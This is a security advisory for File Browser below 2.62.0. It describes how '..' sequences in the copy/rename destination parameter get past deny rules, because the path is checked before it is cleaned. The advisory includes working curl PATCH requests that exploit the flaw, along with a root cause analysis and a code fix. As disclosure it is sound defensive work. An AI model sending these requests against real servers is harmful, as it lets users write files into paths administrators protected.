File Browser has an Access Rule Bypass via Path Traversal in Copy/Rename Destination Parameter
Published 16 Mar 2026 · Updated 30 Mar 2026
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Affected package
- Affected
- <2.62.0
- Fixed in
- 2.62.0
go get github.com/filebrowser/filebrowser/v2@v2.62.0Details
Description
The resourcePatchHandler in http/resource.go validates the destination path against configured access rules before the path is cleaned/normalized. The rules engine (rules/rules.go) uses literal string prefix matching (strings.HasPrefix) or regex matching against the raw path. The actual file operation (fileutils.Copy, patchAction) subsequently calls path.Clean() which resolves .. sequences, producing a different effective path than the one validated.
This allows an authenticated user with Create or Rename permissions to bypass administrator-configured deny rules by including .. (dot-dot) path traversal sequences in the destination query parameter of a PATCH request.
Steps to Reproduce
1. Verify the rule works normally
# This should return 403 Forbidden curl -X PATCH \ -H "X-Auth: <alice_jwt>" \ "http://host/api/resources/public/test.txt?action=copy&destination=%2Frestricted%2Fcopied.txt"
2. Exploit the bypass
# This should succeed despite the deny rule curl -X PATCH \ -H "X-Auth: <alice_jwt>" \ "http://host/api/resources/public/test.txt?action=copy&destination=%2Fpublic%2F..%2Frestricted%2Fcopied.txt"
3. Result
The file test.txt is copied to /restricted/copied.txt despite the deny rule for /restricted/.
Root Cause Analysis
In http/resource.go:209-257:
dst := r.URL.Query().Get("destination") // line 212
dst, err := url.QueryUnescape(dst) // line 214 — dst contains ".."
if !d.Check(src) || !d.Check(dst) { // line 215 — CHECK ON UNCLEANED PATH
return http.StatusForbidden, nil
}In rules/rules.go:29-35:
func (r *Rule) Matches(path string) bool {
if r.Regex {
return r.Regexp.MatchString(path) // regex on literal path
}
return strings.HasPrefix(path, r.Path) // prefix on literal path
}In fileutils/copy.go:12-17:
func Copy(afs afero.Fs, src, dst string, ...) error {
if dst = path.Clean("/" + dst); dst == "" { // CLEANING HAPPENS HERE, AFTER CHECK
return os.ErrNotExist
}The rules check sees /public/../restricted/copied.txt (no match for /restricted/ prefix).
The file operation resolves it to /restricted/copied.txt (within the restricted path).
Secondary Issue
In the same handler, the error from url.QueryUnescape is checked after d.Check() runs (lines 214-220), meaning the rules check executes on a potentially malformed string if unescaping fails.
Impact
An authenticated user with Copy (Create) or Rename permission can write or move files into any path within their scope that is protected by deny rules. This bypasses both:
- Prefix-based rules:
strings.HasPrefixon uncleaned path misses the match - Regex-based rules: Standard patterns like
^/restricted/.*fail on uncleaned path
Cannot be used to:
- Escape the user's BasePathFs scope (afero prevents this)
- Read from restricted paths (GET handler uses cleaned
r.URL.Path)
Suggested Fix
Clean the destination path before the rules check:
dst, err := url.QueryUnescape(dst)
if err != nil {
return errToStatus(err), err
}
dst = path.Clean("/" + dst)
src = path.Clean("/" + src)
if !d.Check(src) || !d.Check(dst) {
return http.StatusForbidden, nil
}
if dst == "/" || src == "/" {
return http.StatusForbidden, nil
}Is GHSA-9f3r-2vgw-m8xp in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected github.com/filebrowser/filebrowser/v2, and gives you the command that fixes it.
More advisories for github.com/filebrowser/filebrowser/v2
- LowCVE-2026-61874File Browser: Trailing-slash directory deletion leaves public shares active for recreated paths · 13 Nov 2026
- LowCVE-2026-55668File Browser: ScopedFs follows a dangling symlink on write, letting a scoped user create files outside their scope in github.com/filebrowser/filebrowser · 22 Jul 2026
- LowCVE-2026-55667File Browser: Out-of-scope file deletion by a Create-only scoped user via symlink-following RemoveAll in upload failure-cleanup in github.com/filebrowser/filebrowser · 22 Jul 2026
- LowCVE-2026-62685File Browser: Colliding username normalization gives two users the same home directory in github.com/filebrowser/filebrowser · 22 Jul 2026
- LowCVE-2026-62684File Browser: Share API exposes the password hash and bypass token in github.com/filebrowser/filebrowser · 22 Jul 2026
- LowCVE-2026-62843File Browser: Archive builder turns backslash filenames into path traversal (zip-slip) in github.com/filebrowser/filebrowser · 22 Jul 2026
References
- Linkgithub.com/filebrowser/filebrowser/security/advisories/GHSA-9f3r-2vgw-m8xp
- Advisorynvd.nist.gov/vuln/detail/CVE-2026-32758
- Linkgithub.com/filebrowser/filebrowser/commit/4bd7d69c82163b201a987e99c0c50d7ecc6ee5f1
- Packagegithub.com/filebrowser/filebrowser
- Linkgithub.com/filebrowser/filebrowser/releases/tag/v2.62.0
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.